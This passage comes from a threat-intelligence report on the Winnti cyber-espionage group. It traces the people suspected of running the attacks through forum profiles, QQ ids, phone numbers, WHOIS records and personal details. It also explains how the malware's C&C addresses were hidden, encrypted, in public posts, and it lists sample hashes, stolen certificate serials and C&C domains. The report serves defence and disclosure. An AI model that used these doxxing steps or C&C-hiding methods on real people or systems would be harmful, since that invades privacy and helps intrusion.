The same page reveals a QQ id of that individual and a username: QQ:  97676416 Username: Another page http://www.gtvod.com/gtvod/jsp/public/personal/index.jsp?id20100127213936126005 shows information about the user registered with name wn3118 and the same email: E-mail:   wn6805126.com Date of Birth: 1992-12-21 Marital Status: Unmarried Another page http://tieba.baidu.com/p/652667782 has a message from profile low-key, wn (which links to wn6805126.com).
Profile information reveals gender of the individual: http://www.baidu.com/p/E781ACE4BD8EE8B083E4B8B6wn/detail Gender: Male There are few essays in Chinese probably written by the individual owning wn6805126.com while studying at Junior High School: (posted on 2008-09-24): http://www.zww.cn/zuowen/html/25/258151.htm (posted on 2008-10-05) http://www.zww.cn/zuowen/html/25/263081.htm (posted on 2009-04-08): http://www.zww.cn/zuowen/html/51/350029.htm A page from zww.cn also shows some details about the author: http://www.zww.cn/zw/myzw.asp?uCAA7C8A5B0AE Birthday: 1992-12-21 (confirms previous finding) QQ:  251985076 Joined: 2008-09-16 22:35:00 Last login: 2009-06-09 10:37:00 mailto:wn6805126.com http://tieba.baidu.com/f?ct335544320lm0rn30tnbaiduPostBrowsersc0z633089789pn0wordBCAFC4FED6D0 http://tieba.baidu.com/f?ct335544320lm0rn30tnbaiduPostBrowsersc0z633089789pn0wordBCAFC4FED6D0 http://tieba.baidu.com/f?ct335544320lm0rn30tnbaiduPostBrowsersc0z633089789pn0wordBCAFC4FED6D0 http://www.gtvod.com/gtvod/jsp/public/personal/index.jsp?id20100127213936126005 mailto:wn6805126.com http://tieba.baidu.com/p/652667782 mailto:wn6805126.com http://www.baidu.com/p/wn/detail http://www.zww.cn/zuowen/html/25/258151.htm http://www.zww.cn/zuowen/html/25/263081.htm http://www.zww.cn/zuowen/html/51/350029.htm http://www.zww.cn/zw/myzw.asp?uB0AE Winnti  More than just a game Searching for the QQ id 251985076 brings to http://blog.sina.com.cn/dahuadl that has User mobile number: 13847416805 The hackers team also seemed to own ydteam.com for some time according to reference at http://zzsky.5d6d.net/archiver/tid-127.html Domaintools.com shows that the domain was registered to a Chinese individual from 2009-06-03 to 2011-08-22.
After that WHOIS information was protected by a Privacy protection service.
Here is WHOIS data at the time of domain registration: Admin Name........... zheng wenlong Admin Address........ tianjin jiefangdongjie 63hao Admin Address........ yancheng Admin Address........ 300560 Admin Address........ fujian Admin Address........ CHINA Admin Email.......... vydteamyahoo.cn Admin Phone.......... 86.13652452428 Please note, that 8613652452428 is a Chinese local cell phone number.
Domaintools.com has also preserved a screenshot of the website while it was online on 2010-02-25.
It shows some of the team member names mentioned above.
http://blog.sina.com.cn/dahuadl http://zzsky.5d6d.net/archiver/tid-127.html mailto:vydteamyahoo.cn Winnti  More than just a game Ydteam website as it was in 2010 Another trace to the source of attack is based on email sender IP address.
The emails were sent from 118.142.11.114.
According to robtex.com, there are 2 domain names that share this IP: pad62.com ru.pad62.com Pad62.com was created in 2011-06-05, on the date of registration if had non-protected WHOIS information, according to domaintools.com: Registrant: ji shao Xuan Die Xiao Jie 418 Kao peng hu, xiang gang 064562 China Winnti  More than just a game Registered through: GoDaddy.com, Inc. Domain Name: PAD62.COM Created on: 05-Jun-11 Expires on: 05-Jun-12 Last Updated on: 05-Jun-11 Administrative Contact: shao, ji  huisengaunrsina.com Xuan Die Xiao Jie 418 Kao peng hu, xiang gang 064562 China 1-330-040-0367 We checked which other domains are associated with the WHOIS information above and found the following domain names: 100-d.com sm08.com cx-cx.com 6-pro.com aohoe.info besheo.info dyyerre.info jiaoyouliaotian.org tao5178.info One more route is to check the CC of the initial dropper/downloader module.
This was  tank.hja63.com.
Acccording to domain tools, hja63.com had non-protected WHOIS information in 2011: Registrant: ji shao Xuan Die Xiao Jie 418 Kao peng hu, xiang gang 064562 China Registered through: GoDaddy.com, Inc. Domain Name: HJA63.COM Created on: 05-Jun-11 Expires on: 05-Jun-12 Last Updated on: 05-Jun-11 Administrative Contact: shao, ji  huisengaunrsina.com Xuan Die Xiao Jie 418 Kao peng hu, xiang gang 064562 China 1-330-040-0367 When we checked, tank.hja63.com resolved to 173.234.184.45 (owned by DiaHosting Limited, USA), while hja63.com resolved to 68.178.232.100 (GoDaddy ISP server).
Winnti  More than just a game Bot Control Messages On Public Resources Analysis of the file c_20100.nls revealed additional information leading to probable attackers.
Looking for identifiers (used as message boundaries, or delimiters) B9273C17 and B6A74634 specified in this malicious file on Internet we found the following pages where the attackers left messages for the bots: http://osdir.com/ml/openmeetings-dev/2011-10/msg00214.html http://osdir.com/ml/openmeetings-dev/2011-10/msg00215.html http://osdir.com/ml/openmeetings-dev/2011-10/msg00241.html An encoded CC address for a bot on a public webpage Another place of just mentioned forum thread: https://groups.google.com/group/openmeetings- dev/browse_thread/thread/ccfeb8242a4f11ec/a700f22be192482a?show_docida700f22be192482apli1 https://groups.google.com/group/openmeetings-dev/tree/browse_frm/month/2011- 10/a8509400cef9a8ac?rnum221_done2Fgroup2Fopenmeetings-dev2Fbrowse_frm2Fmonth2F2011- 103F http://osdir.com/ml/openmeetings-dev/2011-10/msg00214.html http://osdir.com/ml/openmeetings-dev/2011-10/msg00215.html http://osdir.com/ml/openmeetings-dev/2011-10/msg00241.html https://groups.google.com/group/openmeetings-dev/browse_thread/thread/ccfeb8242a4f11ec/a700f22be192482a?show_docida700f22be192482apli1 https://groups.google.com/group/openmeetings-dev/browse_thread/thread/ccfeb8242a4f11ec/a700f22be192482a?show_docida700f22be192482apli1 https://groups.google.com/group/openmeetings-dev/tree/browse_frm/month/2011-10/a8509400cef9a8ac?rnum221_done2Fgroup2Fopenmeetings-dev2Fbrowse_frm2Fmonth2F2011-103F https://groups.google.com/group/openmeetings-dev/tree/browse_frm/month/2011-10/a8509400cef9a8ac?rnum221_done2Fgroup2Fopenmeetings-dev2Fbrowse_frm2Fmonth2F2011-103F https://groups.google.com/group/openmeetings-dev/tree/browse_frm/month/2011-10/a8509400cef9a8ac?rnum221_done2Fgroup2Fopenmeetings-dev2Fbrowse_frm2Fmonth2F2011-103F Winnti  More than just a game Some more server addresses for the bot Here, we see these emails used as commenters identifiers: Jimycocogmail.com awertase...yahoo.com Jimycocogmail.com most probably refers to Jimycocowell which is a username that pops up further.
Searching for awertase brought another forum thread where ciphered data for the same bot appeared: http://osdir.com/ml/openmeetings-dev/2011-09/msg00364.html Yet another message for bots from awertase... https://groups.google.com/groups/unlock?_done/group/openmeetings-dev/browse_thread/thread/ccfeb8242a4f11ec/a700f22be192482a3Fshow_docid3Da700f22be192482amsg1aa911d328125f32_blank http://osdir.com/ml/openmeetings-dev/2011-09/msg00364.html Winnti  More than just a game The full email behind awertase...xxxxxxxx seems to be awertasegfaeyahoo.com according to http://awertasegfae.blogspot.ru/2011/10/first-test.html http://hi.baidu.com/alonecode/item/6936f85a3d98ce3533e0a9ed Another webpage with message for bots According to Figure 32, mer4en7y and alonecode (from the URL of the page) are nicknames which are related to the user of the Baidu blog platform where messages for a bot were left.
Google Search for the nickname mer4en7y returned 5490 results.
This is a very active user that posts messages for this type of bot.
The first results lead to hacker forums and IT-security specific web-platforms.
The same nickname has appeared on a well- known Romanian Security Team forum.
Mer4en7y Individual Activity mer4en7y username at Romanian hackers forum http://awertasegfae.blogspot.ru/2011/10/first-test.html http://hi.baidu.com/alonecode/item/6936f85a3d98ce3533e0a9ed Winnti  More than just a game Mer4en7y at Silic Group Hacker Forum According to the following, Mer4en7y submitted a vulnerability found in Weihai City Commercial Bank system: http://wooyun.org/bugs/wooyun-2010-011002 http://wooyun.org/bugs/wooyun-2010-011002 Winnti  More than just a game Mer4en7ys activity on vulnerability research Favorite videos and tutorials of Mer4en7y: http://www.tdcqjslt.com/u.php?uid1918 Mer4en7ys favorites confirm malware-related activities Mer4en7ys micro-blogging page at t.qq.com: http://t.qq.com/mer4en7y Alias of that profile is translated as watching a rain.
http://www.tdcqjslt.com/u.php?uid1918 http://t.qq.com/mer4en7y Winnti  More than just a game Mer4en7ys microblogging profile A user with nickname d4nr4n (http://t.qq.com/d4nr4n) is posting a message where mer4en7y is mentioned: Mer4en7ys relation to Nanjing Google translation: mentioned individuals go to Nanjing tomorrow xx training institutions to maintain four months  C learning, seeking Nanjing-based friends of the exchange Mer4en7y at yoyo2008.com: http://www.yoyo2008.com/home.php?modspaceuid41498 http://t.qq.com/d4nr4n http://www.yoyo2008.com/home.php?modspaceuid41498 Winnti  More than just a game Mer4en7y profile at yoyo2008.com One of two friends of Mer4en7y in yoyo2008 social network is a user named mayuan which seems to be from Xinjiang and a graduate of Judicial Police School according to shared private information out there: Mer4en7ys contact profile at yoyo2008.com http://u.pintour.com/uid-b1bf56e230cc42d9bfa003a7718888d2/ http://u.pintour.com/uid-b1bf56e230cc42d9bfa003a7718888d2/ Winnti  More than just a game Another Mer4en7y profile show Nanjing as a hometown Mer4en7ys exploit has been involved in the penetration of public radio service ftp server (according to WHOIS information this domain belongs to Xian Municipal Bureau of Radio and Television).
A trace of cyberattack based on Mer4en7ys code As we can see here Mer4en7y had an email address associated with 90sec hackers team.
Another reference on the net shows that Mer4en7y is after sourcecode of proprietary products (probably udf.dll from Roxio Inc): http://www.uedbox.com/udf-dll-source/ Mer4en7y discussing udf.dll source-code and cmdshell http://www.uedbox.com/udf-dll-source/ Winnti  More than just a game The following confirms that Mer4en7y is a member of 90sec group.
The group website is located at http://www.90sec.org/: 90Sec team about-page Mer4en7y replies on job offer posted at 90sec forum (someone wanted to hire computer exerts with very special knowledge): https://forum.90sec.org/viewthread.php?actionprintabletid2012 Rough translation of job offer from Chinese: Subject: Looking for information security researcher From: Southland sword Time: 2012-04-06 00:38 Subject: Security researcher job Responsibilities: 1.
Full target penetration alone or with a team depending on available resources 2.
Penetration testing report and recommendations Technical requirements: 1.
Knowledge of penetration testing, methods, processes, proficiency in a variety of penetration testing tools 2.
Knowledge of common Web development languages (asp, php, jsp), experience with SQL-injection, XSS, common websecurity exploits and patches 3.
Experience with all kinds of operating systems and databases for common security vulnerabilities 4.
Good verbal and written language skills 5.
Be able to work in a team individuals who lose trust, do not listen to the teamleader and not accepting the rules will be kicked out http://www.90sec.org/ https://forum.90sec.org/viewthread.php?actionprintabletid2012 Winnti  More than just a game Work Location: Guangdong (OR Guangzhou Shenzhen) Baochibaozhu package, Relatively free playing time.
Salary: monthly allocation of the total amount of work and cooperation share more than 1W.
Vacancies: 5 people For candidates: first contact me (preferably work resume), after my check the resume will be passed to the head coordinator for arranging a personal meeting.
Salary: free meal and apartments, office location is in a senior villa suite of 200 square meters, computers are available but please bring your own hard drive with environment and tools you are familiar with.
Even a single completed project will provide you with money for your monthly expenses.
Powerful background.
No comments Tho who are competent, please contact: Email: Infoseccntv.cn QQ: admininessus.com And Mer4en7ys replied to this job offer: Mer4en7ys comment about job offer Which can be translated as: Arent you recruiting people for APT?
Guangzhou is too far, but anyway I support it.
There are some interesting comments in the mentioned forum thread regarding reference Powerful background in job offer.
People in the thread speculated that it could mean the work is supported by the government.
Mer4en7y is publishing an exploit: http://www.hackqing.com/index.asp?FoxNews129.html http://www.hackqing.com/index.asp?FoxNews129.html Winnti  More than just a game Mer4en7ys exploit code in PHP Mer4en7y published a modified Perl script for network scan: http://www.2cto.com/kf/201110/109200.html http://www.2cto.com/kf/201110/109200.html Winnti  More than just a game Mer4en7ys network scanner on Perl Jimmycocowell Individual Activity Lets continue with other places where delimiters have been found: https://www.myspace.com/574064782/blog Another bot control message by Wz https://www.myspace.com/574064782/blog Winnti  More than just a game http://www.wuhanbike.net/home.php?modspaceuid15845doprofile Another bot control message by  (Run) http://jimycocowell.blogspot.ru/ Another bot control message by Jimmycocowell http://www.wuhanbike.net/home.php?modspaceuid15845doprofile http://jimycocowell.blogspot.ru/ Winnti  More than just a game The attacker left two messages.
The very first one is labeled as first home/ first love and contains a ciphered CC domain as  described above, i.e.
CC domain is encrypted with RC4 algorithm and its hex binary value is presented in text format between delimiters.
But the next message dubbed second contains a ciphered CC domain too but it is encoded in another way: The initial CC domain is XORed with fixed byte value and the resulted data is transformed using BASE64 encoding.
The resulted text is inserted between the same delimiters.
By all appearances this method is used in the next version of the backdoor which is the subject of current research (see c_20100.NLS).
It is also possible that programs with support of either this or that encryption could be used simultaneously in the frame of one attack.
Between all found messages for the bot the second type of messages (BASE64) is significantly prevalent.
A link to this Jimycocowell home is also present at following place of bitgodgod user: http://www.blogger.com/profile/06442609461818597659 Jimmycocowell registration date and alias Bitgodgod and Bitbugbug We have located one sample of Winnti malware with a hardcoded CC:  mail.7niu.com.
Domaintools information about the domain: Domain Name      : 7niu.com PunnyCode        : 7niu.com Creation Date    : 2006-06-11 00:00:00 Updated Date     : 2012-01-27 21:35:57 Expiration Date  : 2016-06-11 00:00:00 Registrant: Organization   : qi tou niu Name           : xibei jiao Address        : beijing City           : beijing Province/State : Beijing Country        : CN Postal Code    : 100000 http://www.blogger.com/profile/06442609461818597659 Winnti  More than just a game Administrative Contact: Name           : xibei jiao Organization   : qi tou niu Address        : beijing City           : beijing Province/State : Beijing Country        : beijing Postal Code    : 100000 Phone Number   : 86--1321333333 Fax            : 86--010555555 Email          : bit_bugbugtom.com Technical Contact: Name           : xibei jiao Organization   : qi tou niu Address        : beijing City           : beijing Province/State : Beijing Country        : CN Postal Code    : 100000 Phone Number   : 86--1321333333 Fax            : 86--010555555 Email          : rainetang.com You can see how similar bitbugbug and bitgodgod.
Both are directly related to Winnti activity.
The email address bit_bugbugtom.com also can be found on Chinese websites about home rentals: http://oldhouse.0379home.com/RentView-1108.html http://reversewhois.domaintools.com/?emailacb9a265f882adc0eee5704ee16ce081 http://reversewhois.domaintools.com/?emailb86506cc453566ac7ad151417f4fdaa8 http://oldhouse.0379home.com/RentView-1108.html Winnti  More than just a game Yang Individual Activity We have located another individual calling himself Yang.
He distributed bot control commands and was quite active on the internet as well.
http://yang8559420.blog.163.com/ Yang8559420 blog Search for yang8559420 brought some results: Yang is a distributor of resources (maps or programs) for applications based on ArcGIS Engine (http://www.esri.com/software/arcgis/arcgisengine) http://shop65775432.taobao.com/?spma1z0b.7.2-2442034955.3.rfLsIS http://yang8559420.blog.163.com/ http://www.esri.com/software/arcgis/arcgisengine http://shop65775432.taobao.com/?spma1z0b.7.2-2442034955.3.rfLsIS Winnti  More than just a game Yang offered ArcGIS engine sourcecode for sale Information about the seller: http://shop65775432.taobao.com/view_page-74445421.htm Yang8559420 trader profile (Chinese) http://shop65775432.taobao.com/view_page-74445421.htm Winnti  More than just a game Yang8559420 trader profile (English Google-translation) Yang is certified at alipay.com (see field Certification above): http://help.alipay.com/lab/help_detail.htm?help_id211779 Alipay certification Yang left some feedback about a coat: http://www.yifa8.com/4/766/770/763311.html http://help.alipay.com/lab/help_detail.htm?help_id211779 http://www.yifa8.com/4/766/770/763311.html Winnti  More than just a game Yang comments on the internet (private life related) Yang is selling glasses: http://webcache.googleusercontent.com/search?qcache:susBSuR_5zoJ:re.taobao.com/search3Frefpid3Dmm_ 16823808_2252954_879163326keyword3D2525D52525E62525CB2525BF2525202525C12525AC 2525D22525C22525C82525B92525202525C72525E52525B22525D626back3Dlo125253D0252 526lo225253D0252526nt25253D126isinner3D126yp4p_page3D326posid3D722yang85594202 2cd14hlructclnkglru http://webcache.googleusercontent.com/search?qcache:susBSuR_5zoJ:re.taobao.com/search3Frefpid3Dmm_16823808_2252954_879163326keyword3D2525D52525E62525CB2525BF2525202525C12525AC2525D22525C22525C82525B92525202525C72525E52525B22525D626back3Dlo125253D0252526lo225253D0252526nt25253D126isinner3D126yp4p_page3D326posid3D7 http://webcache.googleusercontent.com/search?qcache:susBSuR_5zoJ:re.taobao.com/search3Frefpid3Dmm_16823808_2252954_879163326keyword3D2525D52525E62525CB2525BF2525202525C12525AC2525D22525C22525C82525B92525202525C72525E52525B22525D626back3Dlo125253D0252526lo225253D0252526nt25253D126isinner3D126yp4p_page3D326posid3D7 http://webcache.googleusercontent.com/search?qcache:susBSuR_5zoJ:re.taobao.com/search3Frefpid3Dmm_16823808_2252954_879163326keyword3D2525D52525E62525CB2525BF2525202525C12525AC2525D22525C22525C82525B92525202525C72525E52525B22525D626back3Dlo125253D0252526lo225253D0252526nt25253D126isinner3D126yp4p_page3D326posid3D7 http://webcache.googleusercontent.com/search?qcache:susBSuR_5zoJ:re.taobao.com/search3Frefpid3Dmm_16823808_2252954_879163326keyword3D2525D52525E62525CB2525BF2525202525C12525AC2525D22525C22525C82525B92525202525C72525E52525B22525D626back3Dlo125253D0252526lo225253D0252526nt25253D126isinner3D126yp4p_page3D326posid3D7 http://webcache.googleusercontent.com/search?qcache:susBSuR_5zoJ:re.taobao.com/search3Frefpid3Dmm_16823808_2252954_879163326keyword3D2525D52525E62525CB2525BF2525202525C12525AC2525D22525C22525C82525B92525202525C72525E52525B22525D626back3Dlo125253D0252526lo225253D0252526nt25253D126isinner3D126yp4p_page3D326posid3D7 Winnti  More than just a game Glasses for sale by Yang http://bbs.iaixue.com/home.php?modspaceuid217doprofile User: lovemeyang (probably related to Yang).
Signature is a message for a bot: Another message for bot by lovemeyang So, both Yang8559420 and Lovemeyang messages go with signature: http://bbs.iaixue.com/forum.php?modviewthreadtid261 http://bbs.iaixue.com/home.php?modspaceuid217doprofile http://bbs.iaixue.com/forum.php?modviewthreadtid261 Winnti  More than just a game Same signature used by Yang8559420 and Lovemeyang http://bbs.iaixue.com/forum.php?modviewthreadtid612  Signature by Lovemeyang Search for lovemeyang returned too much data, making it difficult tofilter out those identifying possible attackers false positives are highly-probable.
However, its worth mentioning that the following link refers to an account http://bbs.iaixue.com/forum.php?modviewthreadtid612 Winnti  More than just a game with the lovemeyang username and the user has earlier posted blogs relating to IT-security, so possibly the user is that Yang who is involved in the attack: http://lovemeyang.blog.51cto.com/659880/195451 Yang and relation to a malware http://lovemeyang.blog.51cto.com/659880/195451 Winnti  More than just a game Conclusions Our research revealed long-term oriented large scale cyber-espionage campaign of a criminal group with Chinese origins.
These attacks are not new, many other security researchers have published details of various cybercriminal groups coming from China.
However, the current hacking group has distinguishable features that make it stand out among others: - Massive abuse of digital signatures the attackers used digital signatures of one victim company to attack other companies and steal more digital certificates - Usage of kernel level 64-bit signed rootkit - Abusing great variety of public Internet resources to store control commands for the malware in an encrypted form - Sharing/selling stolen certificates to other groups that had different objectives (attacks against Uyghur and Tibetan activists) - Stealing source code and other intellectual property of software developers in online gaming industry.
The Winnti hacking group is not the first and not the last.
By making our research paper available to the public, we hope that it will not only spread the knowledge among security researchers but also will help system administrators and security officials in all type of organizations around the world to learn the tactics and tools of the perpetrators.
We hope that our shared knowledge will help to better protect IT infrastructure.
We also hope that our message will reach Chinese law enforcement agencies.
If the current research is not enough to initiate criminal investigation, we hope that it will be enough at least to make some checks and probably prevent other malicious activity from reaching out foreign countries and business within China.
Winnti  More than just a game Appendix Winnti MD5s: Winnti 1.0 Win32 samples 006c4561499da562a4e337e2c146cf1a 024CC9872D9F413292D0F952920547CA 0613d67070679fb97ddefc5973c4d604 0630a443bd0102647ca1707cdf7f8c35 0751ca6f8b652cae6f2b650f0cf9036a 095a6a3b6eba996d2786b5ec919b1a7e 0af3761919bffa0019e7899333846b27 0f3c15de074f934499f5bbc095d5557f 11ed89f0ab17cf3973e2bf970879661a 128cb2a5de0d0422d69bab6d23ebb0aa 17c72e0cde2e4019a6b885f8188ac410 18813863417608b4ad14babebcafcb57 1a5da850993681e685893547d1aa2eaf 1ab7360a9438fb816f01ac00c17c9da4 1d688ca3148df378a15796f43242b77c 2128b6c7ec7848b73aeb6f211cef7615 296220a85742a8722b1335977dd98251 379251974ebcd5c397f92ca45bb9620d 38fb6993c3c94ea6df01235f44be4e77 3c722f0bea82e5bb8958f7fab012c911 3ecbc145dd593ec431145dd84e1e50cb 4038fb208d4b50e1f5f765811fdac174 41ff77ea7d4960c75d272a6a6fc31e7c 4402db68df6682bfe3e1e855a2474444 4722c665196fb6c7450980eafde6ac86 4e8f1c053dbe449c93f04e11d4afa352 4f213f9f187a65ce437157a3e7d253c0 50635147a579a8c8859a49c609f9d3d2 50678adefc49735a4f236e06e83c089d 5156bc9f1dd8ef1c1055933bb9c89c91 516fe9d2fe8b047fa8ba993692f44482 5171b030750f364a3459d5de22bc875d 5a93c03ddfe3edeb2573b72d12ebe0e5 5db7ba6e771cef48c623ae48fbb4740b 629c0a9d3d0f471005c87d06aed45113 64d225a757686db6263e5df919e9dfd6 6db0e662dad6407f666aa0ea4b995e7f 7460f35e3b24db9b92bc4cccb6c3f3ac 7529e41a101170eadb83bcb77bf29e65 814001293e4a50d12cf55563e0b95ffe 81b27822a6619a7c78eebbd6dc4b889d 9251ff253c38c437bad4926378981ad0 9a575f37ffa684d56d1f5ffebc24b8f3 Winnti  More than just a game a2c3fa86d43eca498c2b6ee8b5ecafb1 a62afe6d59ae1ac32e8afbb88345ba03 a91f69fc4b353d4228990464ca791705 ada3fb277229d6a12df364fd856f00c3 b01145e9d0c0f9d2822a250df95d888e b28a68036b34e5d74672b289591aefa4 babd625bb2284d58a9c1884a80f07bdd bb79348412e72e77a8254fc289244829 bc3ffe2761d210fa05dde9ced4ed4869 be8b2bf704a1165d5b8b4e26fff4180c c050c1ca31e8509f7b12824824ba2ddd c181065a366ea6f8c6791fd87fcb86d6 c248c15622cfb0985fb421c29771d6ae c2ac3d2f0299633e2c588d2fa43d0d63 c2c2eb5f0762db8068bd4031bd6b59bc c35180bd2138fd81469805d8eb3480bf ca69ffc76e74e9d17f26f5f5b20a1db7 d202ca2b2e04b2b730c43e5a13927096 d8e289fba6a22cb853d737676ab1545d e0df537f91f3bc3713a5ec5cf41f9e2d e2e314cbdcf493bcd14cea9cdd887786 e464e0d0893add9d71bb951502ae738a e58c7b9b2576c63ac60743a99310664b eda0eb9e5c08729f12ddb64f6ec7ae2f f06ec81a1f416812ffcc47fd5f709b50 f39fda34f2e332ddb1363f5e0e541c26 faa77eacaa7de27b0f04c3139066d73c 01f1204f54c645a13368e1ba54179779 099116c83c9b95ea71e75e1760fced28 2ad67673a4facf2b493ca5989839d8e3 2ec43703cc80323ae32fed751bedfff1 4a02ce3d6c6696ddda2a673298870e16 4b8fd1ee47f17164e61194f6b2dbfa40 508f0af84d83e093bf6910dbab45421f 5c865404f27f5e5b83b6fcfd94068118 8a0a00b1676c3b65b3c56dab7f8feb99 91ae694e565f4a2f52d5f792d8353fcd 95DF76F2ABDB9B133003D4DB637DC67B be594ee2a7e4b11878de020cf724205f ce3f94fea7f57ce5a9a5a26e51b617fb d07f8aa768f7886400bb725c23fd2421 d9792b5f7bf497a3584d0c0d388f6b16 efdda5d0a14810ff86e60a70c5baa6b0 f975d016b83880c898b334714c1291b0 fc293476226d1471c8de65ab65af7b2f Win64 samples 24c846e935d1efdd090469a69e01da65 604c8b4f2f82e016cff74ebc4a359e34 Winnti  More than just a game 624db864fe644bc08c16cdbdb8f4bdfb 677c3236b3acac70f528de8b4cf62539 6e83c0e6739a2782ce385632f5e982c3 6e927175a6224add534a6072bc6a6170 7ea57ad96cee3db9baf5a36b43ba9abc 92fd35efabf8d774cf5bb4c2be8b733c 9642c7ee5819f5f8f3f8354da0845190 a00c66d502453524a7fe411ce7bbfea4 b062063cf2d5b7fcc4abd8390e4f0090 c9e55d71b7d8f05324c3ad041a943103 c9e9b8103077d9a9bb21e563f14ef738 ce3eecc1cc27e753b3eeae50074c3edd d194316fc5a7f7b433d26ed9da09b249 de1ea8d6c20d8ecdd1c29219e30d4984 e5338b89c4721482df24f9aa5a3c6389 ec6d53e1a030e166acbc6f357362c195 66de2aaad67446aabbe5adeb873b4b24 8505e92a2c3812ec298acd6bb20437a2 9f5b4f39699fda67ffa65f98086f7451 B8F03B556AE4255BA8D828B6D9909B08 efb16a33a0c9da12a71ef44e7d688233 Drivers 5ce790274b7507740e9983d2efe69c17 679ba94211a4e027c2b56b959e62c8e3 6b4ab6ca6808e955a6fd11ae5ffea1f6 6f5a10edc2c7319b8d7abc0a606e5ce6 ca04aa367e6f090903018131245296ce e8e1f133ef1a303e2e901e59329af1dd 4591d01a291b700efbc5b263c67a266c Winnti 1.1 Win32 samples 1014374a0b4972adec93a015df6e4558 582f84b21978cab7d190aef663a268ea 2d0950f69e206486c5272f2b0fc3aa22 a374be9091ed1791424fc236144e9d81 e867dba9d96acae55552777a8729a45a f809eea8170afacd2dfe2c45ba86861e Drivers 07a18ad4d859c67f208ccb76a7e6a184 0996b71f1364acde317881810c5912f0 97f64270b59b0f6b83ec93efc41543fd Winnti  More than just a game Droppers 509c562db69f8332b9fc3298236e8ffa 130a799edeb0753164cdb76ccf8fd64c 5654424ea88de69d5c6031f7009f0428 Winnti 1.2 Samples 0393eebedbde6e5ee868f81ac024b401 36711896cfeb67f599305b590f195aec 43da75e7f8e7e1893dce276bd5b2e680 535ede2d69a7e07a097ef6648b12e417 8acb42de94427141f7caffed74f9fc43 a0a96138b57ee24eed31b652ddf60d4e d350ae5dc15bcc18fde382b84f4bb3d0 e252d9ec48bca3d261f5acdd33bfd1cb f454ba447eef28f96dafe3398df82a7e 011815cb37f49a1d14d3db895a5e705f 115dc2627483aba7119ad4ceab1e042a 18677c3a2af1476aa8cbc73cfb74d8c1 1b0753f717d7a33defc389e399b20d57 29525be71ba4846739e553a0835ab460 2989b78ac3a752bf6792ac9ac606fdf0 2ffc739a927b62d4b7096e636951b77d 3047ed57acac30c2327e74070b3864b7 3d107d5bdf554c6ae8d05c886080a18d 4197499923ab6125e2ee5e950b21ec91 453021b8cc10f9077fa80d60d09c631d 4732d2056060c66f46caded82954836e 4d028c7a47c1b0d00e894ad351a61996 6e9b47f2ae1f9e7260b8793f35fbbd3a 8a1d1965b2d8501e692394bb801f58ca a0629962c34ed9594b18493f459560a7 ada515709be09e495bc9c1206069e796 bfcd3417b513a6c3fed4b5466055d939 Droppers 60bd5a9ab78f6c614b824ddcb47dfd7c 8f54cf08ee45a8d5eb31d05dbab4b561 15d6249e0e7e03b3e00cc3917431cf64 4fbb502ba8c7e8d81ec98a5974b9001a 5618bc41af50c790c8e8680ba30030ed 7d51ea0230d4692eeedc2d5a4cd66d2d 961954bbc411d4eafd72efad94a6e160 c206992f7c6836ec6a227a6e29ae7609 Winnti  More than just a game Winnti 2.0 Samples 06d8b1468f09d10aa5c4b115544ccc6e 0cd07490fc02e2a602781bb939d0bc3d 2d0950f69e206486c5272f2b0fc3aa22 3358c54a22d186ec9de0f15bc4bb2698 35bdc5a2acf35bdf9fb9169e1a47d3e7 5778178a1b259c3127b678a49cd23e53 6dfcdc4c8edc77642f15592143f34569 9a83cd3f8e619c8b1b38b0b5ceeea357 afe4ec9a88f84fbf9c1eb0f3ff47a12b B0BD6C215A7C20B23FD23D77FA26F3BA bbbb9bb5c7a59b98f18b06344ac8980f d23237edbdcc4118b538454b45c00021 d4a2060a5086c56f7ff65eaa65de81ff dc22d742a15f8d6d8edf49d1c8cc8be9 e7e5c5c991e6d66fca16c988c891e10f f4c9bc4f045b90c496df4b75398dfa5c Drivers 04f3fbaaaf5026df29e0d7d317194043 07e40089cdf338e8d1423b3d97332a4d 0b105cd6ecdfe5724c7db52135aa47ef 7024ea8285cee098829ac8f2b1de4455 Compromised certificates Company Serial number ESTsoft Corp 30 d3 fe 26 59 1d 8e ac 8c 30 66 7a c4 99 9b d7 Kog Co., Ltd. 66 e3 f0 b4 45 9f 15 ac 7f 2a 2b 44 99 0d d7 09 LivePlex Corp 1c aa 0d 0d ad f3 2a 24 04 a7 51 95 ae 47 82 0a MGAME Corp 4e eb 08 05 55 f1 ab f7 09 bb a9 ca e3 2f 13 cd Rosso Index KK 01 00 00 00 00 01 29 7d ba 69 dd Sesisoft 61 3e 2f a1 4e 32 3c 69 ee 3e 72 0c 27 af e4 ce Wemade 61 00 39 d6 34 9e e5 31 e4 ca a3 a6 5d 10 0c 7d YNK Japan 67 24 34 0d db c7 25 2f 7f b7 14 b8 12 a5 c0 4d Guangzhou YuanLuo 0b 72 79 06 8b eb 15 ff e8 06 0d 2c 56 15 3c 35 Fantasy Technology Corp 75 82 f3 34 85 aa 26 4d e0 3b 2b df 74 e0 bf 32 Neowiz 5c 2f 97 a3 1a bc 32 b0 8c ac 01 00 59 8f 32 f6 Winnti  More than just a game Winnti CCs Winnti 1.0 newpic.dyndns.tv update.ddns.net nd.jcrsoft.com cc.nexoncorp.us 98.126.36.202 kr.zzsoft.info as.cjinternet.us ca.zzsoft.info sn.jcrsoft.com lp.apanku.com sshd.8866.org ftpd.6600.org tcpiah.googleclick.net rss.6600.org lp.zzsoft.info lp.gasoft.us eya.jcrsoft.com ftpd.9966.org kr.xxoo.co wi.gcgame.info tcp.nhntech.com ka.jcrsoft.com my.zzsoft.info jp.jcrsoft.com su.cjinternet.us vn.gcgame.info ap.nhntech.com ru.gcgame.info kr.jcrsoft.com wm.ibm-support.net fs.nhntech.com docs.nhnclass.com rh.jcrsoft.com wm.nhntech.com wm.myxxoo.com ka.zzsoft.info ad.jcrsoft.com my.gasoft.us Winnti  More than just a game Winnti, all, unsorted gunz.gcgame.info dell-support.org t3.jcrsoft.com kr.hja63.com dbo.gcgame.info 2m.reegame.net ns1.msftncsl.com update.reegame.net pop.hja63.com imap.gasoft.us dns.naverpulic.com pda.zzsoft.info pop.cjinternet.us bar.gasoft.us hja63.com god.zzsoft.info goqc.xxoo.co apps.mynetav.net ns3.nhnclass.com tug.mynetav.net vip-webmail.com mail.7niu.com game.joymax.in tho.hja63.com zb.mynetav.net vtc.gasoft.us tv3.mynetav.net hk.hja63.com ad.gasoft.us ns5.msftncsl.com ftp.zzsoft.info sm.gcgame.info eudb.reegame.net tech.ibm-support.net gm.gcgame.info winlogon.net iyy.conimes.com ru.gcgame.info oa.nexoncorp.us cjinternet.us wm.ibm-support.net hp-supports.com pass1.hangame.co.uk mail.cjinternet.us tt.xxoo.co e.jcrsoft.com gamenow.8800.org 